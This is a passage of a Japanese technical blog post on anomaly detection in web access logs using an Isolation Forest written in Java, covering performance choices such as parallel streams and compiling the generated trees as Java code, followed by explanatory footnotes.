実装にJavaを選んだ最大の理由がこのパフォーマンスの面です。機械学習ではまず第一選択肢にPythonが挙がりますが、とにかく処理速度が遅いのが欠点です。Javaは速い上に並列処理化しやすいので、今回のようにデータ量が多いときにはJavaが適切な選択になると考えています(※15)。とはいえ様々なアルゴリズムが充実していたり機械学習フレームワーク等もあったりとPythonの利点も非常に多いので、処理時間が問題にならないケースであればPythonを使うことを基本とするのがよいだろうと思います。

今回の例と同じことをPythonで書いたらどのくらいの処理時間が必要になるのか、どの程度まで速くできるのかが個人的に非常に興味があるのですが、自分で書いても遅いPythonしか書けない（私にはPythonのコードをパフォーマンスチューニングするスキルがない）ので、バキバキのPythonのプロフェッショナルにチャレンジして欲しいです。Javaの高速っぷりはずば抜けていると思うので、おそらく5〜10倍程度Javaの方が速いのではないかと思いますが...

機械学習では、異常検知に限らず、データやパラメータを少しずつ変えながら試行錯誤して何度も何度も実行することになります。そのため、1回の処理が数十秒〜1分程度と短く済むのか、あるいは5分程度以上かかってしまうのかによって、分析のリズムが大きく変わります。ここが速ければ速いほど集中力をキープでき、思考が邪魔されず、結果としてよい成果につながると思います。

この記事を書くにあたり、パフォーマンス面でのエンジニアリングにも相当に力を入れたので、もしJavaのコードまで踏み込んで読んで頂ける場合にはぜひその辺りにも注目してほしいです。並列化するために、JavaのparallelStreamからのmapを多用しています。また、Isolation Forestで生成された多数の木はデータ構造+それをたどるアルゴリズムとしてではなく、大量のif文によって構成されるJavaのソースコードとして生成し、それをコンパイルしたものを使っています。これによってJITコンパイラの恩恵をこうむることができ、非常に速く評価を行うことができるようになっています。

※1:こちらの記事など

※2:誰でもアクセスできる、まともな量のアクセスログのデータがなかなか見つからなかったために、この記事を書くのが2021年になってしまいました...

※3:今回紹介する異常検知の処理はどんなサイトのウェブアクセスログに対しても実行することができるので、あなたの手元にある非公開のデータ、ご自分のウェブサイトのアクセスログに対して実行し、どんな異常なアクセスが見つかるかを試してみることもできます。

※4:「異常なグループ」などを見つけに行きたい場合はクラスタリングなども使えますが、単純に「異常な順番に並べたい」場合はIsolation Forestが最強だと思います。

※5:こちらの記事にも書きましたが、教師なし学習ではアルゴリズム同士の性能を厳密に比較することはできません。

※6:https://blog.newrelic.com/engineering/future-talk-anomaly-detection/

※7:別の方法として、例えばある1つのIPアドレスが行った複数のアクセス全体を1つのデータのまとまりとして捉え、1つの特徴ベクトルにするというアプローチも良さそうです。

※8:もちろん使ってもよいです。今回はできるだけ簡単に異常検知の例をお見せしたいので、出来る限り省略していきます。このへん、とくに「正解」はないので、自由に試行錯誤するのが楽しいです。

※9:100次元や1000次元のベクトルを作っても特に問題はありません。

※10:これは、今回はそうする、というだけのことです。各IP毎にアクセス数に応じた重みの差が出てしまうことを覚悟の上で全データを使ってみる、という方法もトライする価値はあるでしょう。どちらが正解ということはありません。また、この「80」という数は特に意味があるわけではなく、何となく、データを捨てすぎないように、かつ特定のIPの重みが大きくなりすぎないように、と考えて決めたものです。興味がある方はこの数値を変更して実行し、結果を比べてみてください。

※11:この数は特に根拠があってこうしているわけではないので、興味がある方はいろいろなパターンで試してみてください。少なくしたり多くしたりしても、あまり結果に大きなブレは出ないようです。

※12:今回は行いませんでしたが、※7のアプローチならば、検出できる可能性は十分ありそうだと思います。

※13:Isolation Forestで生成する木の数やサンプル数を減らすと、さらに高速になります。

※14:非常に速いですが、35万円程度で組めるマシンであり、研究開発用としては特に高価なワークステーションというわけではありません。

※15:例えばscikit-learnのIsolation Forestの実装は、シングルスレッド実装なので、メニーコアがあってもまったく活かせません。